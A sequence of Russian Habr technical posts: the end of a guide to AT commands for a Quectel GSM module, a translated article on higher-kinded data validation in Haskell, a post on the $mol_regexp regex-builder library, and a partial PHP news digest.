Также, возможно, вам нужно будет вручную вписать некие команды, требуемые вашим оператором для настройки gprs. Это делается в том же окне свойств модема, во вкладке «Дополнительные параметры связи». Там же есть кнопка «Изменить умолчания», где можно настроить управление потоком (должна быть выбрана опция «отсутствует»).
Теперь, теоретически, можно настроить соединение в соответствии с настройками вашего оператора, ввести номер (\*99#) и работать в интернете.
Однако, к сожалению, соединения не происходит. Смотрим журнал обмена на вкладке «Диагностика» (в свойствах модема), и видим следующее. Модем «подвисает» на команде:
```
ATS7=60L0M1&KN1X4
```
К сожалению, многочисленные попытки настроить подключение результата не дали. Но, например, модуль Quectel M95 совершенно нормально работает в качестве внешнего модема.
##### Передача данных
Возможны два режима передачи данных: прозрачный (transparent) и непрозрачный (non-transparent). В непрозрачном режиме каждая отправка и прием данных с сервера осуществляется отдельной командой. Этот режим мы рассматривать не будем. Наиболее интересным является прозрачный режим. В этом режиме устанавливается прямой канал с TCP или UDP сокетом, и через порт UART модуля можно отправлять и получать данные. Соединение устанавливается командой
```
AT+QIOPEN="TCP","xxx.xxx.xxx.xxx",23
```
, где «TCP» — протокол, xxx.xxx.xxx.xxx — IP-адрес (в кавычках), 23 — порт
после установления соединения модем отвечает «OK» и переходит в режим приема/передачи данных. По завершении обмена модем пишет «CLOSED».
##### Координаты и время
Да, можно определить координаты и точное время и без GPS. Для этого предназначена команда AT+QGSMLOC. Проделаем следующее:
```
AT+QIFGCNT=0 //активируем GPRS
OK //ответ модуля
AT+QICSGP=1,"CMNET" //настройка APN
OK //ответ модуля
AT+QGSMLOC=1 //запрос долготы, широты и времени
+QGSMLOC:0,60.xxxxxx,56.xxxxxx,2013/03/31,12:06:24 //ответ модуля
OK //ответ модуля
AT+QGSMLOC=2 //запрос только времени
+QGSMLOC:0,2013/03/31,12:07:03 //ответ модуля
```
Каким образом определяются координаты? Они вычисляются на стороне оператора по известным координатам ближайших базовых станций и мощности сигнала. Точность определения координат хуже, чем у GPS, конечно. Если верить полученным координатам и картам Яндекса, я нахожусь на соседней улице. Зато, в отличие от GPS, работает в помещении. Здесь тоже есть один нюанс: эта функция заработала только с одной SIM-картой из трёх.
##### Заключение
Конечно, в посте были рассмотрены далеко не все возможности модуля, однако я постарался охватить те темы, которые, на мой взгляд, будут наиболее интересны разработчику устройств с применением gsm-модулей.
«Телефон», который я представил вашему вниманию, конечно, можно улучшить, если прикрутить к нему микроконтроллер, дисплей, реализовать различные функции, которые мы привыкли видеть в «настоящих» телефонах. Однако вряд ли у меня найдётся на это достаточное желание. Но, как я надеюсь, приведенной информации достаточно, чтобы понять, что разработка устройств на основе GSM-модулей — не такое уж сложное дело.
К тому же, в практической деятельности разработчика наиболее часто встаёт задача именно передачи данных. В этом случае можно использовать модуль без «телефонной» составляющей, например Quectel M95, более дешёвый.
Модули M10-TE-A и M95
Модуль M10 со снятой крышкой
В предыдущем посте была приведена ссылка на архив с PDF-документацией на модуль. Я продублирую её здесь:
[скачать архив](https://www.box.com/s/k2wvm4vppy2o2qs7dnmb)
Буду рад ответить на ваши вопросы, также приветствуются конструктивная критика и пожелания.
Спасибо за внимание. | https://habr.com/ru/post/174803/ | null | ru | null |
# Данные высокого рода
Да-да, вам не привиделось и вы не ослышались — именно высокого рода. Род (**kind**) — это термин теории типов, означающий по сути тип типа [данных].
Но вначале немного лирики.
На Хабре вышло несколько статей, где подробно описывался метод валидации данных в функциональных языках.
Эта статься — мои пять копеек в этот хайп. Мы рассмотрим валидацию данных в Хаскеле.
Валидация типом
---------------
Ранее было рассмотрен пример методики валидации при помощи валидации типом:
```
type EmailContactInfo = String
type PostalContactInfo = String
data ContactInfo = EmailOnly EmailContactInfo |
PostOnly PostalContactInfo |
EmailAndPost (EmailContactInfo, PostalContactInfo)
data Person = Person
{ pName :: String,
, pContactInfo :: ContactInfo,
}
```
При помощи этого метода просто невозможно создать некорректные данные. Однако, несмотря на то, что подобную валидацию очень просто создать и читать, использование её заставляет писать много рутины и вносить много изменений в код. А значит, использование подобного метода ограничено лишь для действительно важных данных.
Валидация данными высокого рода
-------------------------------
В этой статье мы посмотрим иной метод валидации — при помощи данных высокого рода.
Пусть у нас есть тип данных:
```
data Person = Person
{ pName :: String
, pAge :: Int
}
```
И мы будем валидировать данные лишь в том случае, когда валидны все поля записи.
Поскольку Хаскель по функциональным возможностям на голову превосходит большинство функциональных языков, на нём можно легко избавится от большинства рутины.
Тут можно и поэтому данный метод широко используется среди авторов библиотек на Хаскеле.
В целях обсуждения давайте представим, что мы хотим, чтобы пользователь заполнил данные о личности через веб-форму или как-то еще. Иными словами, возможно, они могут испортить заполнение некоторой части информации, не обязательно аннулируя остальную структуру данных. Если они успешно заполнили всю структуру, мы хотели бы получить заполненную записть **Person**.
Один из способов моделирования — использовать второй тип данных:
```
data MaybePerson = MaybePerson
{ mpName :: Maybe String
, mpAge :: Maybe Int
}
```
где, напомню используется опциональный тип:
```
-- already in Prelude
data Maybe a = Nothing | Just a
```
Отсюда функция валидаци получается достаточно простой:
```
validate :: MaybePerson -> Maybe Person
validate (MaybePerson name age) =
Person <$> name <*> age
```
**Чуть детальнее о функциях (<$>) и (<\*>)**Функция **(<$>)** — это лишь инфиксный синоним Функтора **fmap**
```
-- already in Prelude
fmap :: Functor f => (a -> b) -> f a -> f b
(<$>) :: Functor f => (a -> b) -> f a -> f b
(<$>) = fmap
```
И **(<\*>)** — это функция применения Аппликативного Функтора
```
-- already in Prelude
(<*>) :: Applicative f => f (a -> b) -> f a -> f b
```
И для опционального типа эти функции имеют следующее определение
```
-- already in Prelude
(<$>) :: (a -> b) -> Maybe a -> Maybe b
_ <$> Nothing = Nothing
f <$> (Just a) = Just (f a)
(<*>) :: Maybe (a -> b) -> Maybe a -> Maybe b
(Just f) <*> m = f <$> m
Nothing <*> _ = Nothing
```
Наша валидация работает, но раздражает писать от руки дополнительный рутинный код, так как это делается полностью механически. Более того, дублирование этих усилий означает, что нам нужно будет использовать наши мозги в будущем, чтобы убедиться, что все три определения оставались синхронизированы. Было бы здорово, если бы компилятор мог с этим справиться?
СЮРПРИЗ! ОН МОЖЕТ! Нам поможет высокий род!
В Хаскеле есть такое понятие как род, он же **kind**, и самое простое и достаточно точное объяснение то, что род — это тип типа [данных]. Самый широко используемый род — **\***, которого можно назвать «конечным»
```
ghci> :k Int
Int :: *
ghci> :k String
String :: *
ghci> :k Maybe Int
Maybe Int :: *
ghci> :k Maybe String
Maybe String :: *
ghci> :k [Int]
[Int] :: *
```
А какой род у **Maybe**?
```
ghci> :k Maybe
Maybe :: * -> *
ghci> :k []
[] :: * -> *
```
Это и есть пример высокого рода.
Обратите внимание, что мы можем описать как **Person**, так и **MaybePerson** следующим единственным данным высокого рода:
```
data Person' f = Person
{ pName :: f String
, pAge :: f Int
}
```
Здесь мы параметризуем **Person'** над чем-то **f** (с родом **\* -> \***), что позволяет нам сделать следующее, чтобы пользоваться исходными типами:
```
type Person = Person' Identity
type MaybePerson = Person' Maybe
```
Тут мы используем простой обёрточный тип Идентичности
```
-- already in Prelude
newtype Identity a = Identity { runIdentity :: a }
```
Хотя это работает, но немного раздражает в случае **Person**, так как теперь все наши данные обернуты внутри **Identity**:
```
ghci> :t pName @Identity
pName :: Person -> Identity String
ghci> :t runIdentity. pName
runIdentity. pName :: Person -> String
```
Мы можем устранить эту досадность тривиально, после чего мы рассмотрим, почему именно такое определение **Person'** действительно полезно. Чтобы избавиться от идентификаторов, мы можем использовать семью типов (функцию на уровне типа), которая их стирает:
```
{-# LANGUAGE TypeFamilies #-}
-- "Higher-Kinded Data"
type family HKD f a where
HKD Identity a = a
HKD f a = f a
data Person' f = Person
{ pName :: HKD f String
, pAge :: HKD f Int
} deriving (Generic)
```
Вывод **Generic** нам нужно для 2й части статьи.
Использование семьи типов **HKD** означает, что GHC автоматически стирает любые обертки **Identity** в наших представлениях:
```
ghci> :t pName @Identity
pName :: Person -> String
ghci> :t pName @Maybe
pName :: Person -> Maybe String
```
и именно такая версия **Person** высокого рода может быть использована наилучшим образом в качестве замены замены для нашей оригинальной.
Очевидный вопрос заключается в том, что мы купили себе со всей этой проделанной работой. Давайте вернемся к формулировки валидации, чтобы помочь нам ответить на этот вопрос.
Мы теперь можем переписать её с помощью нашей новой техники:
```
validate :: Person' Maybe -> Maybe Person
validate (Person name age) =
Person <$> name <*> age
```
Не очень интересное изменение? Но интрига заключается в том, как мало нужно менять. Как вы можете видеть, только наш тип и шаблон совпадают с нашей первоначальной реализацией. Что здесь аккуратно, так это то, что мы теперь консолидировали **Person** и **MaybePerson** в одно и то же представление, и поэтому они больше не связаны только в номинальном смысле.
Generics и более общая функция валидации
----------------------------------------
Нынешнюю версию функции валидации необходимо писать для каждого нового типа данных, даже не смотря на то, что код достаточно рутинный.
Мы можем написать версию валидации, которая будет работать для любого более высокого типа данных.
Можно было бы использовать Шаблонный Хаскель (**TemplateHaskell**), но он порождает код и используется лишь в крайних случаях. Мы не будем.
Секрет — обратиться к **GHC.Generics**. Если вы незнакомы с библиотекой, она предоставляет изоморфизм из регулярного типа данных Haskell в общее представление, которое может быть структурно управляемо умным программистом (то есть: нами.) Предоставляя код для того, что мы изменяли постоянные типы, произведения и копроизведения, мы можем заставить GHC написать для нас независимый от типа код. Это очень аккуратная техника, которая будет щекотать ваши пальцы ног, если вы этого не видели раньше.
Мы в итоге хотим получить что-то вроде:
```
validate :: _ => d Maybe -> Maybe (d Identity)
```
С точки зрения **Generics** любой тип наиболее обще можно разделить на несколько конструкций:
```
-- undefined data, lifted version of Empty
data V1 p
-- Unit: used for constructors without arguments, lifted version of ()
data U1 p = U1
-- a container for a c, Constants, additional parameters and recursion of kind *
newtype K1 i c p = K1 { unK1 :: c }
-- a wrapper, Meta-information (constructor names, etc.)
newtype M1 i t f p = M1 { unM1 :: f p }
-- Sums: encode choice between constructors, lifted version of Either
data (:+:) f g p = L1 (f p) | R1 (g p)
-- Products: encode multiple arguments to constructors, lifted version of (,)
data (:*:) f g p = (f p) :*: (g p)
```
То есть могут существовать неинецилизированные структуры, безаргументные структуры, константные структуры, мета-информационные (конструкторы и др). А так же объединения структур — суммарные или объединения типа ИЛИ-ИЛИ и мультипликационные, они же кортержные объединения или записи.
Для начала нам нужно определить класс, который будет рабочей лошадкой нашей трансформации. По опыту, это всегда самая трудная часть — типы этих обобщённых преобразований являются исключительно абстрактными и, на мой взгляд, очень трудными для рассуждения. Давайте использовать:
```
{-# LANGUAGE MultiParamTypeClasses #-}
class GValidate i o where
gvalidate :: i p -> Maybe (o p)
```
Можно использовать «мягкие и медленные» правила для рассуждений о том, как должен выглядеть ваш тип класса, но в целом вам понадобится как входной, так и выходной параметр. Они оба должны быть рода **\* -> \***, а затем передавать этот экзистенциализированный **p**, благодаря темным, нечестивым причинам, известных не человечеству. Затем пользуясь небольшим контрольным списком, проходим, чтобы помочь обернуть голову вокруг этого кошмарного адского ландшафта, который мы обойдём позже последовательно.
Во всяком случае, наш класс уже у нас в руках, теперь просто нужно выписывать экземпляры нашего класса для разных типов **GHC.Generic**. Мы можем начать с базового случая, который мы должны уметь проверять, а именно **Maybe k**:
```
{-# LANGUAGE FlexibleInstances #-}
{-# LANGUAGE TypeOperators #-}
instance GValidate (K1 a (Maybe k)) (K1 a k) where
-- gvalidate :: K1 a (Maybe k) -> Maybe (K1 a k)
gvalidate (K1 k) = K1 <$> k
{-# INLINE gvalidate #-}
```
**K1** представляет собой «константный тип», что означает, что именно здесь заканчивается наша структурная рекурсия. В примере с нашим **Person'** это будет **pName :: HKD f String**.
В большинстве случаев, когда у вас есть базовый случай, остальные — просто механически определяемые экземпляры для других типов. Если вам не требуется доступ к метаданным об исходном типе в любом месте, эти экземпляры почти всегда будут тривиальными гомоморфизмами.
Мы можем начать с мультипликативных структур — если мы имеем **GValidate i o** и **GValidate i' o'**, мы должны иметь возможность запускать их параллельно:
```
instance (GValidate i o, GValidate i' o')
=> GValidate (i :*: i') (o :*: o') where
gvalidate (l :*: r) = (:*:)
<$> gvalidate l
<*> gvalidate r
{-# INLINE gvalidate #-}
```
Если **K1** относится непосредственно к селекторам нашего **Person'**, (: \* :) примерно соответствует синтаксису запятой, которой мы разделяем наши поля в записи.
Мы можем определить аналогичный экземпляр **GValidate** для копроизведений или суммарных структур (соответствующие значения разделяются **|** в определении данных):
```
instance (GValidate i o, GValidate i' o')
=> GValidate (i :+: i') (o :+: o') where
gvalidate (L1 l) = L1 <$> gvalidate l
gvalidate (R1 r) = R1 <$> gvalidate r
{-# INLINE gvalidate #-}
```
Кроме того, раз мы не заботимся о поиске метаданных, мы можем просто определить **GValidate i o** над конструктором метаданных:
```
instance GValidate i o
=> GValidate (M1 _a _b i) (M1 _a' _b' o) where
gvalidate (M1 x) = M1 <$> gvalidate x
{-# INLINE gvalidate #-}
```
Теперь остались неинтересные нам структуры для полного описания. Им предоставим следующие тривиальные экземпляры для нежилых типов (**V1**) и для конструкторов без каких-либо параметров (**U1**):
```
instance GValidate V1 V1 where
gvalidate = undefined
{-# INLINE gvalidate #-}
instance GValidate U1 U1 where
gvalidate U1 = Just U1
{-# INLINE gvalidate #-}
```
Использование **undefined** здесь безопасно, поскольку его можно вызвать только со значением **V1**. К счастью для нас, **V1** необитаем и неинициализирован, поэтому этого никогда не может произойти, значит мы морально правы в нашем использовании **undefined**.
Без дальнейших церемоний, теперь, когда у нас есть весь этот механизм, мы можем, наконец, написать не-общую версию валидации:
```
{-# LANGUAGE FlexibleContexts #-}
validate
:: ( Generic (f Maybe)
, Generic (f Identity)
, GValidate (Rep (f Maybe))
(Rep (f Identity))
)
=> f Maybe
-> Maybe (f Identity)
validate = fmap to . gvalidate . from
```
Каждый раз можно получить широкую улыбку, когда подпись для функции длиннее фактической реализации; это означает, что мы наняли компилятор для написания кода за нас. Что здесь важно для валидации, так это то, что в нем нет упоминаний о **Person'**; эта функция будет работать для любого типа, определенного как данные высокого рода. Вуаля!
### Итоги
Это все на сегодня, ребята. Мы познакомились с идеей данных высокого рода, увидели, как это полностью эквивалентно типу данных, определенному более традиционным образом, а также поймали проблеск того, какие вещи возможны при таком подходе.
Он позволяет делать всевозможные удивительные вещи, такие как: генерировать линзы для произвольных типов данных, не прибегая к Шаблонному Хаскелю; **sequence** по типам данных; и автоматически отслеживать зависимости для использования полей записи.
Счастливого применения высоких родов!
*Оригинал: [Higher-Kinded Data](http://reasonablypolymorphic.com/blog/higher-kinded-data/)* | https://habr.com/ru/post/429104/ | null | ru | null |
# Да хватит уже писать эти регулярки
Здравствуйте, меня зовут Дмитрий Карловский и раньше я тоже использовал [Perl](https://perldoc.perl.org/perlre) для разработки фронтенда. Только гляньте, каким лаконичным кодом можно распарсить, например, имейл:
```
/^(?:((?:[\w!#\$%&'\*\+\/=\?\^`\{\|\}~-]){1,}(?:\.(?:[\w!#\$%&'\*\+\/=\?\^`\{\|\}~-]){1,}){0,})|("(?:((?:(?:([\u{1}-\u{8}\u{b}\u{c}\u{e}-\u{1f}\u{21}\u{23}-\u{5b}\u{5d}-\u{7f}])|(\\[\u{1}-\u{9}\u{b}\u{c}\u{e}-\u{7f}]))){0,}))"))@(?:((?:[\w!#\$%&'\*\+\/=\?\^`\{\|\}~-]){1,}(?:\.(?:[\w!#\$%&'\*\+\/=\?\^`\{\|\}~-]){1,}){0,}))$/gsu
```
Тут, правда, закралось несколько ошибок. Ну ничего, пофиксим в следующем релизе!
Шутки в сторону
===============
По мере роста, регулярки очень быстро теряют свою понятность. Не зря в интернете есть десятки сервисов для отладки регулярок. Вот лишь некоторые из них:
* <https://regex101.com/>
* <https://regexr.com/>
* <https://www.debuggex.com/>
* <https://extendsclass.com/regex-tester.html>
А с внедрением новых фичей, они теряют и лаконичность:
```
/(?<слово>(?<буквица>\p{Script=Cyrillic})\p{Script=Cyrillic}+)/gimsu
```
У регулярок довольно развесистый синтаксис, который то и дело выветривается из памяти, что требует постоянного подсматривания в шпаргалку. Чего только стоят 5 разных способов экранирования:
```
/\t/
/\ci/
/\x09/
/\u0009/
/\u{9}/u
```
В JS у нас есть интерполяция строк, но как быть с регулярками?
```
const text = 'lol;)'
// SyntaxError: Invalid regular expression: /^(lol;)){2}$/: Unmatched ')'
const regexp = new RegExp( `^(${ text }){2}$` )
```
Ну, или у нас есть несколько простых регулярок, и мы хотим собрать из них одну сложную:
```
const VISA = /(?4)\d{12}(?:\d{3})?/
const MasterCard = /(?5)[12345]\d{14}/
// Invalid regular expression: /(?4)\d{12}(?:\d{3})?|(?5)[12345]\d{14}/: Duplicate capture group name
const CardNumber = new RegExp( VISA.source + '|' + MasterCard.source )
```
Короче, писать их сложно, читать невозможно, а рефакторить вообще адски! Какие есть альтернативы?
Свои регулярки с распутным синтаксисом
======================================
Полностью своя реализация регулярок на JS. Для примера возьмём [XRegExp](https://xregexp.com/):
* API совместимо с нативным.
* Можно форматировать пробелами.
* Можно оставлять комментарии.
* Можно расширять своими плагинами.
* Нет статической типизации.
* Отсутствует поддержка IDE.
* [](https://bundlephobia.com/package/xregexp)
В общем, всё те же проблемы, что и у нативных регулярок, но втридорога.
Генераторы парсеров
===================
Вы скармливаете им грамматику на специальном DSL, а они выдают вам JS код функции парсинга. Для примера возьмём [PEG.js](https://pegjs.org/):
* Наглядный синтаксис.
* Каждая грамматика — вещь в себе и не компонуется с другими.
* Нет статической типизации генерируемого парсера.
* Отсутствует поддержка IDE.
* Минимум 2 кб в ужатопережатом виде на каждую грамматику.
[Пример в песочнице.](https://pegjs.org/online)
Это решение более мощное, но со своими косяками. И по воробьям из этой пушки стрелять не будешь.
Билдеры нативных регулярок
==========================
Для примера возьмём TypeScript библиотеку [$mol\_regexp](https://github.com/hyoo-ru/mam_mol/tree/master/regexp):
* Строгая статическая типизация.
* Хорошая интеграция с IDE.
* Композиция регулярок с именованными группами захвата.
* Поддержка генерации строки, которая матчится на регулярку.
* [](https://bundlephobia.com/package/mol_regexp)
Это куда более легковесное решение. Давайте попробуем сделать что-то не бесполезное..
Номера банковских карт
----------------------
### Импортируем компоненты билдера
Это либо функции-фабрики регулярок, либо сами регулярки.
```
const {
char_only, latin_only, decimal_only,
begin, tab, line_end, end,
repeat, repeat_greedy, from,
} = $mol_regexp
```
### Ну или так, если [вы ещё](https://habhub.hyoo.ru/#!author=nin-jin/repo=HabHub/article=18) используете NPM
```
import { $mol_regexp: {
char_only, decimal_only,
begin, tab, line_end,
repeat, from,
} } from 'mol_regexp'
```
### Пишем регулярки для разных типов карт
```
// /4(?:\d){12,}?(?:(?:\d){3,}?){0,1}/gsu
const VISA = from([
'4',
repeat( decimal_only, 12 ),
[ repeat( decimal_only, 3 ) ],
])
// /5[12345](?:\d){14,}?/gsu
const MasterCard = from([
'5',
char_only( '12345' ),
repeat( decimal_only, 14 ),
])
```
В фабрику можно передавать:
* Строку и тогда она будет заэкранирована.
* Число и оно будет интерпретировано как юникод кодепоинт.
* Другую регулярку и она будет вставлена как есть.
* Массив и он будет трактован как последовательность выражений. Вложенный массив уже используется для указания на опциональность вложенной последовательности.
* Объект означающий захват одного из вариантов с именем соответствующим полю объекта (далее будет пример).
### Компонуем в одну регулярку
```
// /(?:(4(?:\d){12,}?(?:(?:\d){3,}?){0,1})|(5[12345](?:\d){14,}?))/gsu
const CardNumber = from({ VISA, MasterCard })
```
### Строка списка карт
```
// /^(?:\t){0,}?(?:((?:(4(?:\d){12,}?(?:(?:\d){3,}?){0,1})|(5[12345](?:\d){14,}?))))(?:((?:\r){0,1}\n)|(\r))/gmsu
const CardRow = from(
[ begin, repeat( tab ), {CardNumber}, line_end ],
{ multiline: true },
)
```
### Сам список карточек
```
const cards = `
3123456789012
4123456789012
551234567890123
5512345678901234
`
```
### Парсим текст регуляркой
```
for( const token of cards.matchAll( CardRow ) ) {
if( !token.groups ) {
if( !token[0].trim() ) continue
console.log( 'Ошибка номера', token[0].trim() )
continue
}
const type = ''
|| token.groups.VISA && 'Карта VISA'
|| token.groups.MasterCard && 'MasterCard'
console.log( type, token.groups.CardNumber )
}
```
Тут, правда, есть небольшое отличие от нативного поведения. [`matchAll`](https://developer.mozilla.org/ru/docs/Web/JavaScript/Reference/Global_Objects/String/matchAll) с нативными регулярками выдаёт токен лишь для совпавших подстрок, игнорируя весь текст между ними. `$mol_regexp` же для текста между совпавшими подстроками выдаёт специальный токен. Отличить его можно по отсутствию поля `groups`. Эта вольность позволяет не просто искать подстроки, а полноценно [разбивать весь текст на токены](https://ru.wikipedia.org/wiki/%D0%9B%D0%B5%D0%BA%D1%81%D0%B8%D1%87%D0%B5%D1%81%D0%BA%D0%B8%D0%B9_%D0%B0%D0%BD%D0%B0%D0%BB%D0%B8%D0%B7), как во взрослых парсерах.
### Результат парсинга
```
Ошибка номера 3123456789012
Карта VISA 4123456789012
Ошибка номера 551234567890123
MasterCard 5512345678901234
```
[Заценить в песочнице.](https://codepen.io/nin-jin/pen/YzZvERo?editors=0012)
E-Mail
------
Регулярку из начала статьи можно собрать так:
```
const {
begin, end,
char_only, char_range,
latin_only, slash_back,
repeat_greedy, from,
} = $mol_regexp
// Логин в виде пути разделённом точками
const atom_char = char_only( latin_only, "!#$%&'*+/=?^`{|}~-" )
const atom = repeat_greedy( atom_char, 1 )
const dot_atom = from([ atom, repeat_greedy([ '.', atom ]) ])
// Допустимые символы в закавыченном имени сендбокса
const name_letter = char_only(
char_range( 0x01, 0x08 ),
0x0b, 0x0c,
char_range( 0x0e, 0x1f ),
0x21,
char_range( 0x23, 0x5b ),
char_range( 0x5d, 0x7f ),
)
// Экранированные последовательности в имени сендбокса
const quoted_pair = from([
slash_back,
char_only(
char_range( 0x01, 0x09 ),
0x0b, 0x0c,
char_range( 0x0e, 0x7f ),
)
])
// Закавыченное имя сендборкса
const name = repeat_greedy({ name_letter, quoted_pair })
const quoted_name = from([ '"', {name}, '"' ])
// Основные части имейла: доменная и локальная
const local_part = from({ dot_atom, quoted_name })
const domain = dot_atom
// Матчится, если вся строка является имейлом
const mail = from([ begin, local_part, '@', {domain}, end ])
```
Но просто распарсить имейл — эка невидаль. Давайте сгенерируем имейл!
```
// SyntaxError: Wrong param: dot_atom=foo..bar
mail.generate({
dot_atom: 'foo..bar',
domain: 'example.org',
})
```
Упс, ерунду сморозил… Поправить можно так:
```
// foo.bar@example.org
mail.generate({
dot_atom: 'foo.bar',
domain: 'example.org',
})
```
Или так:
```
// "foo..bar"@example.org
mail.generate({
name: 'foo..bar',
domain: 'example.org',
})
```
[Погонять в песочнице.](https://codepen.io/nin-jin/pen/MWpBYqz?editors=0012)
Роуты
-----
Представим, что сеошник поймал вас в тёмном переулке и заставил сделать ему "человекопонятные" урлы вида `/snjat-dvushku/s-remontom/v-vihino`. Не делайте резких движений, а медленно соберите ему регулярку:
```
const translit = char_only( latin_only, '-' )
const place = repeat_greedy( translit )
const action = from({ rent: 'snjat', buy: 'kupit' })
const repaired = from( 's-remontom' )
const rooms = from({
one_room: 'odnushku',
two_room: 'dvushku',
any_room: 'kvartiru',
})
const route = from([
begin,
'/', {action}, '-', {rooms},
[ '/', {repaired} ],
[ '/v-', {place} ],
end,
])
```
Теперь подсуньте в неё урл и получите структурированную информацию:
```
// `/snjat-dvushku/v-vihino`.matchAll(route).next().value.groups
{
action: "snjat",
rent: "snjat",
buy: "",
rooms: "dvushku",
one_room: "",
two_room: "dvushku",
any_room: "",
repaired: "",
place: "vihino",
}
```
А когда потребуется сгенерировать новый урл, то просто задайте группам нужные значения:
```
// /kupit-kvartiru/v-moskve
route.generate({
buy: true,
any_room: true,
repaired: false,
place: 'moskve',
})
```
Если задать `true`, то значение будет взято из самой регулярки. А если `false`, то будет скипнуто вместе со всем опциональным блоком.
И пока сеошник радостно потирает руки предвкушая первое место в выдаче, незаметно достаньте телефон, вызовите полицию, а сами [скройтесь в песочнице](https://codepen.io/nin-jin/pen/QWpBwYx?editors=0012).
Как это работает?
-----------------
Нативные именованные группы, как мы выяснили ранее, не компонуются. Попадётся вам 2 регулярки с одинаковыми именами групп и всё, поехали за костылями. Поэтому при генерации регулярки используются анонимные группы. Но в каждую регулярку просовывается массив `groups` со списком имён:
```
// time.source == "((\d{2}):(\d{2}))"
// time.groups == [ 'time', 'hours', 'minutes' ]
const time = from({
time: [
{ hours: repeat( decimal_only, 2 ) },
':',
{ minutes: repeat( decimal_only, 2 ) },
],
)
```
Наследуемся, переопределям `exec` и добавляем пост-процессинг результата с формированием в нём объекта `groups` вида:
```
{
time: '12:34',
hours: '12,
minutes: '34',
}
```
И всё бы хорошо, да только если скомпоновать с нативной регуляркой, содержащей анонимные группы, но не содержащей имён групп, то всё поедет:
```
// time.source == "((\d{2}):(\d{2}))"
// time.groups == [ 'time', 'minutes' ]
const time = wrong_from({
time: [
/(\d{2})/,
':',
{ minutes: repeat( decimal_only, 2 ) },
],
)
```
```
{
time: '12:34',
hours: '34,
minutes: undefined,
}
```
Чтобы такого не происходило, при композиции с обычной нативной регуляркой, нужно "замерить" сколько в ней объявлено групп и дать им искусственные имена "0", "1" и тд. Сделать это не сложно — достаточно поправить регулярку, чтобы она точно совпала с пустой строкой, и посчитать число возвращённых групп:
```
new RegExp( '|' + regexp.source ).exec('').length - 1
```
И всё бы хорошо, да только `String..match` и `String..matchAll` клали шуруп на наш чудесный `exec`. Однако, их можно научить уму разуму, переопределив для регулярки методы `Symbol.match` и `Symbol.matchAll`. Например:
```
*[Symbol.matchAll] (str:string) {
const index = this.lastIndex
this.lastIndex = 0
while ( this.lastIndex < str.length ) {
const found = this.exec(str)
if( !found ) break
yield found
}
this.lastIndex = index
}
```
И всё бы хорошо, да только тайпскрипт всё равно не поймёт, какие в регулярке есть именованные группы:
```
interface RegExpMatchArray {
groups?: {
[key: string]: string
}
}
```
Что ж, активируем режим обезьянки и поправим это недоразумение:
```
interface String {
match< RE extends RegExp >( regexp: RE ): ReturnType<
RE[ typeof Symbol.match ]
>
matchAll< RE extends RegExp >( regexp: RE ): ReturnType<
RE[ typeof Symbol.matchAll ]
>
}
```
Теперь TypeScript будет брать типы для `groups` из переданной регулярки, а не использовать какие-то свои захардкоженные.
Ещё из интересного там есть рекурсивное слияние типов групп, но [это уже совсем другая история](https://github.com/nin-jin/tdtd).
Напутствие
==========
* Подробности в [документация по $mol\_regexp](https://github.com/hyoo-ru/mam_mol/tree/master/regexp).
* Пример из дикой природы — токенайзеры [MarkedText](https://habhub.hyoo.ru/#!author=nin-jin/repo=HabHub/article=39): [$hyoo\_marked](https://github.com/hyoo-ru/marked.hyoo.ru).
* [Другие микро библиотеки из экосистемы MAM](https://github.com/hyoo-ru/mam_mol#usage-from-npm-ecosystem) доступные в NPM.
* Если у вас аллергия на $mol, то [в этой статье](https://tomassetti.me/parsing-in-javascript/) можете найти ещё несколько популярных библиотек для парсинга.
Но что бы вы ни выбрали — знайте, что каждый раз, когда вы пишете регулярку вручную, где-то в интернете плачет (от счастья) один верблюд.
 | https://habr.com/ru/post/561704/ | null | ru | null |
# PHP-Дайджест № 106 – свежие новости, материалы и инструменты (26 марта – 9 апреля 2017)
[](https://habrahabr.ru/company/zfort/blog/326036/)
Предлагаем вашему вниманию очередную подборку со ссылками на новости и материалы.
Приятного чтения!
### Новости и релизы
* [5 апреля Composer’у исполнилось 6 лет](https://github.com/composer/composer/graphs/contributors) — Трудно переоценить вклад Composer в развитие экосистемы PHP. Огромное спасибо авторам и всем контрибьюторам за то, что делают PHP-мир лучше.
* [PHPUnit 6.1.0](https://github.com/sebastianbergmann/phpunit/blob/6.1/ChangeLog-6.1.md)
* [Drupal 8.3.0](https://www.drupal.org/blog/drupal-8-3-0)
* [Phalcon 3.1.2](https://blog.phalconphp.com/post/phalcon-3-1-2-released-php7-1-support) — Реализована поддержка PHP 7.1.
* [WooCommerce 3.0](https://woocommerce.com/2017/04/woocommerce-3-0-release/) — Популярное e-commerce решение для WordPress.
*  [Митап ThinkPHP #14 в Харькове. Вместе 5 лет](https://habrahabr.ru/company/nixsolutions/blog/325888/)
### PHP
* [RFC: Trailing Commas In List Syntax](https://wiki.php.net/rfc/list-syntax-trailing-commas) — Предлагалось сделать возможным использование запятой после последнего элемента в списочных конструкциях. Голосование прошел только список группированных неймспейсов:
```
php
use Foo\Bar\{
Foo,
Bar,
Baz,
};
</code
```
### Инструменты
* [spatie/phpunit-snapshot-assertions](https://github.com/spatie/phpunit-snapshot-assertions) — Пакет для снэпшот-тестирования с помощью PHPUnit а-ля [Jest](https://facebook.github.io/jest/) от Facebook. Подробнее об использовании в [посте](https://medium.com/@sebdedeyne/a-package-for-snapshot-testing-in-phpunit-2e4558c07fe3).
* [orgmanager/orgmanager](https://github.com/orgmanager/orgmanager) — Система инвайтов для GitHub-организаций.
* [DASPRiD/Formidable](https://github.com/DASPRiD/Formidable) — Библиотека под PHP 7 для работы с формами. [Пост](http://www.soliantconsulting.com/blog/2017/03/formidable-different-approach-forms) в поддержку.
* [jack-theripper/transcoder](https://github.com/jack-theripper/transcoder) — Инструмент для кодирования, конвертации, и получения метаинформации для аудио и видео.
* [nategood/commando](https://github.com/nategood/commando) — Библиотека для реализации консольных команд с простым fluent-интерфейсом.
* [paragonie/iaso](https://github.com/paragonie/iaso) — Набор инструментов для работы с JSON, включающий парсер, устойчивый к [Hash-DoS атаке](http://lukasmartinelli.ch/web/2014/11/17/php-dos-attack-revisited.html).
* [Bogdaan/viber-bot-php](https://github.com/bogdaan/viber-bot-php) — SDK для Viber.  [Как создать Viber-бота с помощью PHP](https://habrahabr.ru/post/321246/).
### Материалы для обучения
* ##### Symfony
+ Серия статей от Fabien Potencier об изменених в Symfony 4, релиз которого ожидается в ноябре этого года:
- [Monolith vs Micro](http://fabien.potencier.org/symfony4-monolith-vs-micro.html)
